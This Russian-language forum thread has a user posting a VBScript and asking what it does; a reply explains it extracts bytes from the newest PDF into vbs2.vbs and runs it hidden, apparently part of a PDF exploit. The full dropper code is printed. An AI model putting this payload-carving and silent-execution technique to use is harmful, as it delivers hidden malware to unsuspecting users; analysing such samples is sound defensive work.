VBS/WSH/JS - VBS скрипт

VBS/WSH/JS - VBS скрипт

hazejkeo

Новый участник

Сообщения: 13
Благодарности: 0

Профиль | Отправить PM | Цитировать

Что он делает, и правильный ли он?

Код:

Dim BS  
Set BS = CreateObject("ADODB.Stream")  
BS.Type = 1  
BS.Open  
BS.LoadFromFile FindLastModified(".")  
BS.Position=72160       
s = BS.Read (87286     -72160     )  
BS.Close  
BS.Open  
BS.Write s  
BS.SaveToFile "vbs2.vbs",2  
BS.Close  
dim www  
set www = wscript.createobject("wscript.shell")  
www.run "vbs2.vbs",0,FALSE  
Function FindLastModified(strDir)    
Set objFSO = CreateObject("Scripting.FileSystemObject")    
Set oFolder = objFSO.GetFolder(strDir)    
d = CDate("1/1/1950")    
For Each oFile In oFolder.Files    
If oFile.DateLastModified > d and InStr(oFile.Name, ".pdf") > 0 Then    
NewestFile = oFile.Name    
d = oFile.DateLastModified    
End If    
Next    
FindLastModified = NewestFile    
End Function

Отправлено: 13:31, 30-03-2011

Petya V4sechkin

Сообщения: 53482
Благодарности: 15510

Профиль | Отправить PM | Цитировать

hazejkeo, выбирает в текущей папке самый новый PDF-файл, считывает из него 15126 байт по смещению 72160, сохраняет их в файле vbs2.vbs и запускает. По всей видимости, часть PDF-эксплойта (который вы уже пытались выложить в предыдущей теме).

Отправлено: 14:46, 30-03-2011 | #2